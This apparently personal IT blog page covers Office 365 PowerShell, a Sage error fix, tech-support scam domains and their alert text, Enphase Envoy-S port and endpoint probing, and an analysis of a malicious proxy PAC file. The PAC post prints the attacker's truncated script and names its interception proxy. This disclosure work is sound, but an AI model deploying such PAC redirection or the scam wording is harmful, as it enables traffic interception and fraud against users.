Bulk Updating Office 365 Department for users via PowerShell

This has good applications in a school or college where you have cohorts moving up a year. It also is useful for enterprise where a department has been renamed.

$Mailboxes = get-user -Filter {Department -like "Year 11"}
$Mailboxes | ForEach-Object { set-user -Identity $_.Identity  -Department "Year 12" }

Remember to first delete all your Year 12 (aka. leavers) before running the script otherwise it will become complicated very quickly with merged year 12 from year 11 and year 12 who have left.

Posted in Uncategorized | Leave a comment

“AUSE099” Sage Accounts online update error.

I had a customer computer where Sage would prompt to upgrade to be able to open their company file. When it got to the stage where Sage should be downloading the file – I got the error code “AUSE099” and no further information.

There seems to be no decent information on the internet on what can cause the problem. Sage have the boring advice of “download the update manually and install it” which wasn’t what I wanted.

Using Process Monitor I tracked the problem down, in my case, to the Background Intelligent Transfer Service (BITS) being stopped and disabled on the computer.

I enabled it and started the service, re-ran Sage and clicked update – this time it worked!

Hope this helps someone.

Posted in Uncategorized | Leave a comment

“0-800-098-8522” fake virus warning messages.

there is a .net frame work file missing“ip5.ip-158-69-114.net” / “158.69.114.5” seems to be hosting several domains associated with fake virus warnings.

The page I came across was:

hxxp://upwardd.website/0508/E2/
error9/uk/800-098-8522/alert.html

With the fake alert as follows….

Security Error

There is a .net frame work file missing due to some harmfull virus

Debug malware error 895-system 32.exe failure.

Please contact Windows technicians to rectify the issue.
Please do not open internet browser for your security issue to avoid data corruption on your registery of your operating system. Please contact Windows technicians at

Tollfree Helpline at 0-800-098-8522

PLEASE DO NOT SHUT DOWN OR RESTART YOUR COMPUTER, DOING THAT MAY LEAD TO DATA LOSS AND FAILIURE OF OPERATING SYSTEM , HENCE NON BOOTABLE SITUATION RESULTING COMPLETE DATA LOSS . CONTACT ADMINISTRATOR DEPARTMENT TO RESOLVE THE ISSUE ON TOLL FREE – 0-800-098-8522

The message asks victims to call “0-800-098-8522” (aka. 0800 098 8522 / +448000988522 / 08000988522).

If you manage to click past the javascript alerts you then get sent onto another page:
http://upwardd.website/0508/E2/error9/uk/800-098-8522/error.html

This page claims the following along with a scary count down..

0x000314CE VIRUS_DETECTED_WITHOUT_CANCELLING_PENDING_OPERATIONS

Hard Drive Safety Delete Starting In 4:36

To STOP Deleting Hard Drive Call:
0-800-098-8522

ERROR CODE: 0x000314CE

Hard Drive Safety Delete Starting In 4:36

************************************************
************************************************
Please contact technical support Toll Free: 0-800-098-8522
To immediately rectify issue and prevent data loss

Another scam message hosted at “geekbanks.xyz” has the following message:

Call Windows Help Desk Immediately at 0-800-090-3105

The following data will be compromised if you continue:
1. Passwords
2. Browser History
3. Credit Card Information

This virus is well known for complete identity and credit card theft. Further action through his computer or any computer on the network will reveal private information and involve serious risks.

Call Windows Help Desk Immediately at 0-800-090-3105

Along with a fake user / password box of:

0x80070424 Warning: Activation Key Damaged !!! Call Windows Help Desk: +0-800-090-3105 (TOLL-FREE)

asking victims to call 08000903105 aka. “0800 090 3105” or +448000903105

The scam domain I came across is also associated with:

upwardd.website
virtuloan.website
technostarjet.xyz
performancestars.xyz
geekstars.xyz
celebrationbank.xyz
friendlycounsel.xyz
computerstars.xyz
geekbanks.xyz
keygeekcounsil.xyz
ab5.iwla1.org
windows-criticalerror121.com
windows-criticalerror122.com
windows-criticalerror123.com
windows-criticalerror124.com
windows-criticalerror125.com
traading.website
masterfund.website
ranklytic.website
percentt.website
flowbux.website
warnertravel.xyz

Associated with the domains is “sarthak754@gmail.com” and the following set of domains that were previously hosted on another server:

ftp.error-script.info
ftp.error-scripts.info
identityjet.website
warnertravels.xyz
glamswipe.online
dhawanfinance.xyz
dhawanfin.xyz
cloudenic.online
universaltravel.xyz
dhawanfinancegroup.xyz
bunkerup.online
plazafinancegroup.xyz
playfinance.xyz
dhawanfinancial.xyz
microda.online
venusfinancegroup.xyz
windowscrashreport.info
sportfinance.xyz
venusfinance.xyz
techierisk.website
windowscrashreport.info
cavi.website
fibena.online
solesto.online
caqo.website
warnervacation.xyz
internationaltrip.xyz
plazafinance.xyz
appletravel.xyz
playfinancegroup.xyz
globalcommute.xyz
zensoro.online
techierisk.xyz
venusfinancial.xyz
techierisk.site
startingkey.website
venusfin.xyz
stopshopper.net
sifi.website
rankbolt.online
web1.errorscripts.info
globaltravels.xyz
appletravelagency.xyz
fault-script.net
web2.errorscripts.info
cashy.website
techosoo.online
stopshopper.us
scribber.website
internationaltrip.xyz
windows-criticalerror.net
windows-criticalerror.co
warnertrip.xyz
finally.website
web3.errorscripts.info
chil.website
stopshopper.biz
qabla.website
yesmargin.website
vobi.website
snaat.website
windows-criticalerror.xyz
ftp.errorscript.info
accountking.website
venusfin.xyz
windows-criticalerror.org
stopshopper.info
nort.website
windows-criticalerror.info
texuro.online
zoto.website
playfinancegroup.xyz

Posted in Uncategorized | Leave a comment

Enphase Envoy-S Open Ports!

Further to my last post about the Envoy-S JSON data that can be retrieved.. I did some more intrusive testing.

Several things to note. It seems that a change between the Envoy-S and the Envoy LCD changed two of the hosts to communicate over port 80 instead of HTTPs / Port 443.

envoy https change

The data exchanged over http port 80 does seem to be obfiscated in some way.. beyond my skills to try and decipher but it is a shame that the entire TLS handshake seems to have been abandoned. The reports. hostsname seems to be the hostname that is mainly communicated with. I’ve not noticed any 443 requests to the home. hostname.

Moving on from that – A port scan against my Envoy-S reveals quite a staggering number of open TCP ports:

Port 22
SSH “SSH-2.0-OpenSSH_6.6”

Port 53
Commonly used as the DNS port but doesn’t seem to respond to TCP DNS requests. Upon connection to it via Telnet you instantly get TCP FIN and the connections gets closed.

Port 80
Easy – the web interface! Doesn’t give away what kind of http daemon that it uses though.

Port 8082
Some sort of web server. Responds with an authentication request for Digest realm=”enphaseenergy.com” and the web server in use is Xavante 2.2.0

Port 8100
Another Xavante 2.2.0 webserver that instantly gives a 404 but the 404 contains the entire url requested rather than just “/”.
The requested URL http://10.0.0.177:8100/ was not found on this server.
This almost makes me wonder if it is some sort of open reverse proxy for Enphase to be able to then hop into accessing the IPs(?) of the Inverters for troubleshooting.

Port 9091
Exactly the same as above.

UDP Port 5353
MDNS Responder

Posted in Uncategorized | Leave a comment

Enphase Envoy-S “Data Scraping”.

I’ve recently had to interface with an EnPhase Envoy Solar PV system. The annoying thing is the lack of documentation.

The API for the “cloud service” exists and is well documented but the API for the local device itself doesn’t seem to exist.

There is one tiny one page document that seems to suggest you can get some data from the device. The information gleaned from their example API ” http://device.ip.address.here/api/v1/production ” is poor.

{
 "wattHoursToday": 6641,
 "wattHoursSevenDays": 6641,
 "wattHoursLifetime": 6669,
 "wattsNow": 90
}

First.. it gives far LESS information than you can just retrieve from the main web page for the device on the LAN. Secondly the wattsNow field doesn’t seem to match the information displayed on the main page of the device. The wattsHoursSevenDays is also slightly off. Third.. it doesn’t even update regularly. You can’t have a system that detects dips in production due to cloud cover etc.

However. I did find some other sensible sources for information – and information that updates at an even more regular rate than the devices main website!

When you visit the site on the device running firmware D4.2.27 it makes the following requests:

http://10.0.0.177/backbone/application.js?version=04.02.43
This URL contains a lot of references to other json files that I need to research. See further down in this post for the other URLs exposed.

http://10.0.0.177/home.json
This json file contains the Database size / utilisation, date and time on the device, connection status and settings and update status.

http://10.0.0.177/production.json
Contains most useful information.. Production and (if fitted) consumption data!

{
   "production":[
      {
         "type":"inverters",
         "wNow":74,
         "whLifetime":6815.014722222222,
         "readingTime":1470250044,
         "activeCount":14
      },
      {
         "type":"eim",
         "activeCount":1,
         "whLifetime":6704.458,
         "whLastSevenDays":6676.458,
         "whToday":6676.458,
         "wNow":66.236,
         "rmsCurrent":1.179,
         "rmsVoltage":246.433,
         "reactPwr":276.774,
         "apprntPwr":290.494,
         "pwrFactor":0.23,
         "readingTime":1470250044
      }
   ],
   "consumption":[
      {
         "type":"eim",
         "activeCount":1,
         "whLifetime":8025.821,
         "whLastSevenDays":7899.821,
         "whToday":7899.821,
         "wNow":2641.386,
         "varhLeadToday":2822.701,
         "varhLagToday":1810.03,
         "vahToday":9018.68,
         "varhLeadLifetime":2951.701,
         "varhLagLifetime":1922.03,
         "vahLifetime":9473.68,
         "rmsCurrent":11.924,
         "rmsVoltage":246.458,
         "reactPwr":-284.009,
         "apprntPwr":2938.817,
         "pwrFactor":0.9,
         "readingTime":1470250044
      }
   ]
}

http://10.0.0.177/inventory.json
Also contains some very useful information. Detailed status about the state of each micro-inverter. So far I’ve seen the following states:

– “envoy.global.ok”
– “envoy.cond_flags.pcu_ctrl.commandedreset”
– “envoy.cond_flags.pcu_ctrl.dc-pwr-low”
– “envoy.cond_flags.obs_strs.discovering”
– “envoy.cond_flags.obs_strs.failure”
The full conversion table on what these status messages mean in english is at the end of this article.

The full output of the page is as follows:

[
   {
      "type":"PCU",
      "devices":[
         {
            "part_num":"800-00356-r04",
            "installed":"1470228526",
            "serial_num":"REDACTED",
            "device_status":[
               "envoy.cond_flags.pcu_ctrl.commandedreset",
               "envoy.cond_flags.pcu_ctrl.dc-pwr-low"
            ],
            "last_rpt_date":"1470249596",
            "admin_state":1,
            "created_date":"1470228526",
            "img_load_date":"1424997903",
            "img_pnum_running":"520-00045-r01-v01.22.00",
            "ptpn":"540-00087-r01-v01.22.00",
            "producing":true,
            "communicating":true,
            "chaneid":1627392273,
            "device_control":[
               {
                  "gficlearset":false
               }
            ]
         },
         {
            "part_num":"800-00356-r04",
            "installed":"1470228529",
            "serial_num":"REDACTED",
            "device_status":[
               "envoy.cond_flags.obs_strs.discovering"
            ],
            "last_rpt_date":"1470249602",
            "admin_state":1,
            "created_date":"1470228529",
            "img_load_date":"1424997903",
            "img_pnum_running":"520-00045-r01-v01.22.00",
            "ptpn":"540-00087-r01-v01.22.00",
            "producing":false,
            "communicating":true,
            "chaneid":1627392529,
            "device_control":[
               {
                  "gficlearset":false
               }
            ]
         },
         {
            "part_num":"800-00356-r04",
            "installed":"1470228533",
            "serial_num":"REDACTED",
            "device_status":[
               "envoy.global.ok"
            ],
            "last_rpt_date":"1470249613",
            "admin_state":1,
            "created_date":"1470228533",
            "img_load_date":"1424997903",
            "img_pnum_running":"520-00045-r01-v01.22.00",
            "ptpn":"540-00087-r01-v01.22.00",
            "producing":true,
            "communicating":true,
            "chaneid":1627392785,
            "device_control":[
               {
                  "gficlearset":false
               }
            ]
         }
      ]
   }
]

All of this means you can make your own system that (in my case) refreshes generation and consumption status up-to-the-second!

A couple of notes: The Consumption metering / data seems to give strange low or even minus values if you fetch the json file more than roughly once per second. (Possibly because it works on a counter and the math goes wrong?)
During nighttime the Production metering goes into a minus value, for example -7 Watts. This is in fact the correct reading. The Envoy-S javascript filters out minus values and ensures a 0 is displayed. Cheeky!
The panel count on the main production.json file is the count of associated panels and not the currently generating panels. I’ve used the inventory.json file to count the number of panels “producing”, I refresh this information every 3 minutes instead of every second.

solar status

solar panel status

My next steps are to investigate the JavaScript and see what other pages are accessible. I also need to see if I can reverse engineer, find out or ask the installer for the “Installer Login” password.

I also wish there was public documentation. No google searches for the status strings or other data I’ve found in the JSON files have returned any results to do with Enphase / SolarPV.

The backbone/application.js file exposes the following sub-files on the devices web server.
– /admin/lib/admin_dcc_display.json
– /ivp/tpm/capability <– A file containing all the country power profiles and regulatory specification references.
– /datatab/event_dt.rb <– This file is readable and seems like it might contain event messages. My one contained “Microinverter failed to report: Clear” as the only entry.
– /info.xml <– Seems to contain some sort of build version number data for file system mount points.
– /ivp/meters <– Information about the metering attachments you have to measure production and consumption.
– /installer/pcu_comm_check <– seemed to return blank information.
– /api/v1/production/inverters
– /prov <– Serial numbers and “admin states” of the system and associated inverters or devices.
– /ivp/peb/newscan <– Information about inverter discovery / scanning?
– /installer/profiles/index.json
– /installer/profiles/details.json
– /installer/profiles/inverters_status.json
– /installer/profiles/set_profile.json
– /admin/lib/admin_pmu_display.json <– Returned blank info for me.
– /ivp/peb/reportsettings
– /ivp/tpm/select
– /ivp/tpm/tpmstatus <– Unknown, possibly regulatory profile management information per inverter? (“yaml_tpm_state”: “tpm.tpm_state.propagation_state.set”).
– /ivp/tpm/parameters <– Limits information for the country regulatory profiles.
– /admin/lib/dba.json <– Shows the status of the support tunnel.
– /admin/lib/security_display.json <– Password change script.
– /admin/lib/date_time_display.json?tzlist=1&locale=en <– a list of all timezone names.
– /admin/lib/network_display.json <– Network information. IP address, DHCP status, current interface being used (eth0 etc.).
– /api/v1/production/inverters <– Production information per inverter.
– /admin/lib/wireless_display.json?site_info=0 <– Detailed information about the wifi controller, signal strength, encryption mode, driver being used and “ap_mode” name.

Full status messages system strings to plain english:

        cond_flags: {
            acb_ctrl: {
                bmuhardwareerror: "BMU Hardware Error",
                bmuimageerror: "BMU Image Error",
                bmumaxcurrentwarning: "BMU Max Current Warning",
                bmusenseerror: "BMU Sense Error",
                cellmaxtemperror: "Cell Max Temperature Error",
                cellmaxtempwarning: "Cell Max Temperature Warning",
                cellmaxvoltageerror: "Cell Max Voltage Error",
                cellmaxvoltagewarning: "Cell Max Voltage Warning",
                cellmintemperror: "Cell Min Temperature Error",
                cellmintempwarning: "Cell Min Temperature Warning",
                cellminvoltageerror: "Cell Min Voltage Error",
                cellminvoltagewarning: "Cell Min Voltage Warning",
                cibcanerror: "CIB CAN Error",
                cibimageerror: "CIB Image Error",
                cibspierror: "CIB SPI Error"
            },
            obs_strs: {
                discovering: "Discovering",
                failure: "Failure to report",
                flasherror: "Flash Error",
                notmonitored: "Not Monitored",
                ok: "Normal",
                plmerror: "PLM Error",
                secmodeenterfailure: "Secure mode enter failure",
                secmodeexitfailure: "Secure mode exit failure",
                sleeping: "Sleeping"
            },
            pcu_chan: {
                acMonitorError: "AC Monitor Error",
                acfrequencyhigh: "AC Frequency High",
                acfrequencylow: "AC Frequency Low",
                acfrequencyoor: "AC Frequency Out Of Range",
                acvoltage_avg_hi: "AC Voltage Average High",
                acvoltagehigh: "AC Voltage High",
                acvoltagelow: "AC Voltage Low",
                acvoltageoor: "AC Voltage Out Of Range",
                acvoltageoosp1: "AC Voltage Out Of Range - Phase 1",
                acvoltageoosp2: "AC Voltage Out Of Range - Phase 2",
                acvoltageoosp3: "AC Voltage Out Of Range - Phase 3",
                agfpowerlimiting: "AGF Power Limiting",
                dcresistancelow: "DC Resistance Low",
                dcresistancelowpoweroff: "DC Resistance Low - Power Off",
                dcvoltagetoohigh: "DC Voltage Too High",
                dcvoltagetoolow: "DC Voltage Too Low",
                dfdt: "AC Frequency Changing too Fast",
                gfitripped: "GFI Tripped",
                gridgone: "Grid Gone",
                gridinstability: "Grid Instability",
                gridoffsethi: "Grid Offset Hi",
                gridoffsetlow: "Grid Offset Low",
                hardwareError: "Hardware Error",
                hardwareWarning: "Hardware Warning",
                highskiprate: "High Skip Rate",
                invalidinterval: "Invalid Interval",
                pwrgenoffbycmd: "Power generation off by command",
                skippedcycles: "Skipped Cycles",
                vreferror: "Voltage Ref Error"
            },
            pcu_ctrl: {
                alertactive: "Alert Active",
                altpwrgenmode: "Alternate Power Generation Mode",
                altvfsettings: "Alternate Voltage and Frequency Settings",
                badflashimage: "Bad Flash Image",
                bricked: "No Grid Profile",
                commandedreset: "Commanded Reset",
                criticaltemperature: "Critical Temperature",
                "dc-pwr-low": "DC Power Too Low",
                iuplinkproblem: "IUP Link Problem",
                manutestmode: "In Manu Test Mode",
                nsync: "Grid Perturbation Unsynchronized",
                overtemperature: "Over Temperature",
                poweronreset: "Power On Reset",
                pwrgenoffbycmd: "Power generation off by command",
                runningonac: "Running on AC",
                tpmtest: "Transient Grid Profile",
                unexpectedreset: "Unexpected Reset",
                watchdogreset: "Watchdog Reset"
            },
            rgm_chan: {
                check_meter: "Meter Error",
                power_quality: "Poor Power Quality"
            }
        }

Some more info about errors can be found on page 45 of the manual.
CommandedReset Recommended Action: No action is required; it will automatically resume normal operation momentarily. Description: The microinverter was reset, either following a successful software download or by user command.

DcPowerTooLow Recommended Action: This condition should correct itself. No action is required. Description: This condition may occur at sunrise or sunset, while the modules are covered with snow, or during extreme weather. This event indicates that sunlight levels are too low for effective production. Once sunlight levels increase, the microinverter resumes power production and this event message will clear.

DcVoltageTooLow Recommended Action: This is usually a normal condition during hours of low light and at dawn and dusk. No action is required. Description: The microinverter reports that DC input voltage from the PV module is too low. If this condition does not clear during hours of full day

PowerOnReset Description: The microinverter has powered on after having DC disconnected.

Posted in Uncategorized | 18 Comments

stoppblock.net proxy PAC malware and “50.7.182.141”

In a continuation to the previous post about a computer with “infected” DNS settings….

The same machine also had a Proxy PAC file set.

In the specific computers instance it had this URL set in the automatic proxy settings section:

http://stoppblock.net/wpad.dat?fb4c39d90b3dd1f76bda246b4a60839913671305

stoppblock.net, registered via a whois privacy service, was only registered on the 4th July 2016 and has only been hosting a website from around the 21st July. A similar domain “Stopblock.me” seems to have been registered much longer ago in September 2015 using a privacy service and a similar DNS setup to the new site and is hosted at the same datacenter.

Now – if you download the above URL using something like Notepad or CURL you get a blank file telling software to go DIRECT;

If you use a known browser you instead get the following PAC script found at the end of this blog article.

What is interesting here is they seem to be taking SHA256 hashes of URLs and matching them. Clever idea. This instantly increases the difficulty in identifying which websites they are targeting with their proxy attack.

It looks like they are usurping traffic to 192 domains.

If one of these domains is detected they then currently relay the traffic via the following proxy hosted at FDC Servers:

50.7.182.141:51598

It looks like the above server has thousands of open ports, probably all entirely open and ready to proxy.

If you manually set your proxy to it you can tell which websites are on their intercept list in the PAC file. Any domain they don’t like is greeted with a “403 Forbidden” while domains they do like.. (some that I’ve found so far):

– Google.com
– chrome.google.com
http://www.google-analytics.com

The above sites get proxied and SSL Man in the middled (MITM). I feel like maybe the malware which setup this PAC comes along with it’s own “Trusted” Root CA so their generated proxy certificates work.

Upon initial investigation the root of google.com doesn’t get modified upon request via the malware proxy.

Here is the proxy PAC code as referenced above.. it was too long to put in the middle of the article:

/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
var CryptoJS = CryptoJS || function(h, s) {
 var f = {},
 t = f.lib = {},
 g = function() {},
 j = t.Base = {
 extend: function(a) {
 g.prototype = this;
 var c = new g;
 a &amp;amp;&amp;amp; c.mixIn(a);
 c.hasOwnProperty("init") || (c.init = function() {
 c.$super.init.apply(this, arguments)
 });
 c.init.prototype = c;
 c.$super = this;
 return c
 },
 create: function() {
 var a = this.extend();
 a.init.apply(a, arguments);
 return a
 },
 init: function() {},
 mixIn: function(a) {
 for (var c in a) a.hasOwnProperty(c) &amp;amp;&amp;amp; (this[c] = a[c]);
 a.hasOwnProperty("toString") &amp;amp;&amp;amp; (this.toString = a.toString)
 },
 clone: function() {
 return this.init.prototype.extend(this)
 }
 },
 q = t.WordArray = j.extend({
 init: function(a, c) {
 a = this.words = a || [];
 this.sigBytes = c != s ? c : 4 * a.length
 },
 toString: function(a) {
 return (a || u).stringify(this)
 },
 concat: function(a) {
 var c = this.words,
 d = a.words,
 b = this.sigBytes;
 a = a.sigBytes;
 this.clamp();
 if (b % 4)
 for (var e = 0; e &amp;lt; a; e++) c[b + e &amp;gt;&amp;gt;&amp;gt; 2] |= (d[e &amp;gt;&amp;gt;&amp;gt; 2] &amp;gt;&amp;gt;&amp;gt; 24 - 8 * (e % 4) &amp;amp; 255) &amp;lt;&amp;lt; 24 - 8 * ((b + e) % 4);
 else if (65535 &amp;lt; d.length)
 for (e = 0; e &amp;lt; a; e += 4) c[b + e &amp;gt;&amp;gt;&amp;gt; 2] = d[e &amp;gt;&amp;gt;&amp;gt; 2];
 else c.push.apply(c, d);
 this.sigBytes += a;
 return this
 },
 clamp: function() {
 var a = this.words,
 c = this.sigBytes;
 a[c &amp;gt;&amp;gt;&amp;gt; 2] &amp;amp;= 4294967295 &amp;lt;&amp;lt;
 32 - 8 * (c % 4);
 a.length = h.ceil(c / 4)
 },
 clone: function() {
 var a = j.clone.call(this);
 a.words = this.words.slice(0);
 return a
 },
 random: function(a) {
 for (var c = [], d = 0; d &amp;lt; a; d += 4) c.push(4294967296 * h.random() | 0);
 return new q.init(c, a)
 }
 }),
 v = f.enc = {},
 u = v.Hex = {
 stringify: function(a) {
 var c = a.words;
 a = a.sigBytes;
 for (var d = [], b = 0; b &amp;lt; a; b++) {
 var e = c[b &amp;gt;&amp;gt;&amp;gt; 2] &amp;gt;&amp;gt;&amp;gt; 24 - 8 * (b % 4) &amp;amp; 255;
 d.push((e &amp;gt;&amp;gt;&amp;gt; 4).toString(16));
 d.push((e &amp;amp; 15).toString(16))
 }
 return d.join("")
 },
 parse: function(a) {
 for (var c = a.length, d = [], b = 0; b &amp;lt; c; b += 2) d[b &amp;gt;&amp;gt;&amp;gt; 3] |= parseInt(a.substr(b,
 2), 16) &amp;lt;&amp;lt; 24 - 4 * (b % 8);
 return new q.init(d, c / 2)
 }
 },
 k = v.Latin1 = {
 stringify: function(a) {
 var c = a.words;
 a = a.sigBytes;
 for (var d = [], b = 0; b &amp;lt; a; b++) d.push(String.fromCharCode(c[b &amp;gt;&amp;gt;&amp;gt; 2] &amp;gt;&amp;gt;&amp;gt; 24 - 8 * (b % 4) &amp;amp; 255));
 return d.join("")
 },
 parse: function(a) {
 for (var c = a.length, d = [], b = 0; b &amp;lt; c; b++) d[b &amp;gt;&amp;gt;&amp;gt; 2] |= (a.charCodeAt(b) &amp;amp; 255) &amp;lt;&amp;lt; 24 - 8 * (b % 4);
 return new q.init(d, c)
 }
 },
 l = v.Utf8 = {
 stringify: function(a) {
 try {
 return decodeURIComponent(escape(k.stringify(a)))
 } catch (c) {
 throw Error("Malformed UTF-8 data");
 }
 },
 parse: function(a) {
 return k.parse(unescape(encodeURIComponent(a)))
 }
 },
 x = t.BufferedBlockAlgorithm = j.extend({
 reset: function() {
 this._data = new q.init;
 this._nDataBytes = 0
 },
 _append: function(a) {
 "string" == typeof a &amp;amp;&amp;amp; (a = l.parse(a));
 this._data.concat(a);
 this._nDataBytes += a.sigBytes
 },
 _process: function(a) {
 var c = this._data,
 d = c.words,
 b = c.sigBytes,
 e = this.blockSize,
 f = b / (4 * e),
 f = a ? h.ceil(f) : h.max((f | 0) - this._minBufferSize, 0);
 a = f * e;
 b = h.min(4 * a, b);
 if (a) {
 for (var m = 0; m &amp;lt; a; m += e) this._doProcessBlock(d, m);
 m = d.splice(0, a);
 c.sigBytes -= b
 }
 return new q.init(m, b)
 },
 clone: function() {
 var a = j.clone.call(this);
 a._data = this._data.clone();
 return a
 },
 _minBufferSize: 0
 });
 t.Hasher = x.extend({
 cfg: j.extend(),
 init: function(a) {
 this.cfg = this.cfg.extend(a);
 this.reset()
 },
 reset: function() {
 x.reset.call(this);
 this._doReset()
 },
 update: function(a) {
 this._append(a);
 this._process();
 return this
 },
 finalize: function(a) {
 a &amp;amp;&amp;amp; this._append(a);
 return this._doFinalize()
 },
 blockSize: 16,
 _createHelper: function(a) {
 return function(c, d) {
 return (new a.init(d)).finalize(c)
 }
 },
 _createHmacHelper: function(a) {
 return function(c, d) {
 return (new w.HMAC.init(a,
 d)).finalize(c)
 }
 }
 });
 var w = f.algo = {};
 return f
}(Math);
(function(h) {
 for (var s = CryptoJS, f = s.lib, t = f.WordArray, g = f.Hasher, f = s.algo, j = [], q = [], v = function(a) {
 return 4294967296 * (a - (a | 0)) | 0
 }, u = 2, k = 0; 64 &amp;gt; k;) {
 var l;
 a: {
 l = u;
 for (var x = h.sqrt(l), w = 2; w &amp;lt;= x; w++)
 if (!(l % w)) {
 l = !1;
 break a
 }
 l = !0
 }
 l &amp;amp;&amp;amp; (8 &amp;gt; k &amp;amp;&amp;amp; (j[k] = v(h.pow(u, 0.5))), q[k] = v(h.pow(u, 1 / 3)), k++);
 u++
 }
 var a = [],
 f = f.SHA256 = g.extend({
 _doReset: function() {
 this._hash = new t.init(j.slice(0))
 },
 _doProcessBlock: function(c, d) {
 for (var b = this._hash.words, e = b[0], f = b[1], m = b[2], h = b[3], p = b[4], j = b[5], k = b[6], l = b[7], n = 0; 64 &amp;gt; n; n++) {
 if (16 &amp;gt; n) a[n] =
 c[d + n] | 0;
 else {
 var r = a[n - 15],
 g = a[n - 2];
 a[n] = ((r &amp;lt;&amp;lt; 25 | r &amp;gt;&amp;gt;&amp;gt; 7) ^ (r &amp;lt;&amp;lt; 14 | r &amp;gt;&amp;gt;&amp;gt; 18) ^ r &amp;gt;&amp;gt;&amp;gt; 3) + a[n - 7] + ((g &amp;lt;&amp;lt; 15 | g &amp;gt;&amp;gt;&amp;gt; 17) ^ (g &amp;lt;&amp;lt; 13 | g &amp;gt;&amp;gt;&amp;gt; 19) ^ g &amp;gt;&amp;gt;&amp;gt; 10) + a[n - 16]
 }
 r = l + ((p &amp;lt;&amp;lt; 26 | p &amp;gt;&amp;gt;&amp;gt; 6) ^ (p &amp;lt;&amp;lt; 21 | p &amp;gt;&amp;gt;&amp;gt; 11) ^ (p &amp;lt;&amp;lt; 7 | p &amp;gt;&amp;gt;&amp;gt; 25)) + (p &amp;amp; j ^ ~p &amp;amp; k) + q[n] + a[n];
 g = ((e &amp;lt;&amp;lt; 30 | e &amp;gt;&amp;gt;&amp;gt; 2) ^ (e &amp;lt;&amp;lt; 19 | e &amp;gt;&amp;gt;&amp;gt; 13) ^ (e &amp;lt;&amp;lt; 10 | e &amp;gt;&amp;gt;&amp;gt; 22)) + (e &amp;amp; f ^ e &amp;amp; m ^ f &amp;amp; m);
 l = k;
 k = j;
 j = p;
 p = h + r | 0;
 h = m;
 m = f;
 f = e;
 e = r + g | 0
 }
 b[0] = b[0] + e | 0;
 b[1] = b[1] + f | 0;
 b[2] = b[2] + m | 0;
 b[3] = b[3] + h | 0;
 b[4] = b[4] + p | 0;
 b[5] = b[5] + j | 0;
 b[6] = b[6] + k | 0;
 b[7] = b[7] + l | 0
 },
 _doFinalize: function() {
 var a = this._data,
 d = a.words,
 b = 8 * this._nDataBytes,
 e = 8 * a.sigBytes;
 d[e &amp;gt;&amp;gt;&amp;gt; 5] |= 128 &amp;lt;&amp;lt; 24 - e % 32;
 d[(e + 64 &amp;gt;&amp;gt;&amp;gt; 9 &amp;lt;&amp;lt; 4) + 14] = h.floor(b / 4294967296);
 d[(e + 64 &amp;gt;&amp;gt;&amp;gt; 9 &amp;lt;&amp;lt; 4) + 15] = b;
 a.sigBytes = 4 * d.length;
 this._process();
 return this._hash
 },
 clone: function() {
 var a = g.clone.call(this);
 a._hash = this._hash.clone();
 return a
 }
 });
 s.SHA256 = g._createHelper(f);
 s.HmacSHA256 = g._createHmacHelper(f)
})(Math);
var hashes = [{
 "direct": false,
 "hash": {
 "url": [
 [30, "3641293c700dbf07c69bc819ea7c168efa75c54a953a0c73af7d62edf2e44c0c"]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [30, "005acdb782876c1d12cbabd154734baf814d95d0d0cc9a189e161f50850e6e11"]
 ]
 },
 "sc": 1
}, {
 "direct": false,
 "hash": {
 "url": [
 [37, "091ba1b78804e5415b317554c2d3edcc0fa9b0907109392187a24f22951de9a2"]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [34, "85fa4e502c08ba456c3b3e78162a7edf3a3dd251b3f091abf1889ba33eab6f62"]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [54, "2fb5d5f6b16a61a5a2463c2918b82a56c1f93e3f610ed11e2d2b4b692e6bd24c"]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [31, "69c01b96756640faf07f816ebec4994d054a328c84f32d8f3ad2b4f817ff72aa"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [27, "aab8f002cb79cc9542a001fec8544bc331f0b42292db3a49ee245a6a218eea2a"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [16, "02a0becb3e90c1c50bb9932bffb7c4d130cd6b78558dedbec7c39b1624132894"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [21, "027a1ea4c5fe27134a12fc6b166b58e98d91242e19f89405147b78e5d21c4f8d"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [18, "04d62c424bfe5388333e11b6ccb47f6f78e43bf26b92d5c4a140681fb8cf6a44"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [38, "cbc1c5ba723aa977c56aecdab1a8c71c41c046046e05ca14d2fa28dd10092fb6"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [24, "49dbf639e44e763f59cb09945e0a011e7420d44c179301ab3a09e708d903709e"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [18, "7e8d27eec13ac38216d4edd72d1a29bff2f329c6ed6a8a8a94857834a4836b3f"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [31, "6d3eaddd0cde25e6ec74b5bbbfcb33fdbef5f549b0c94befcbf419475b6979f4"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [28, "4de73617a098f4609a06ec0c77317d64ac361e831390c275d4fb65f2c1cd0649"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
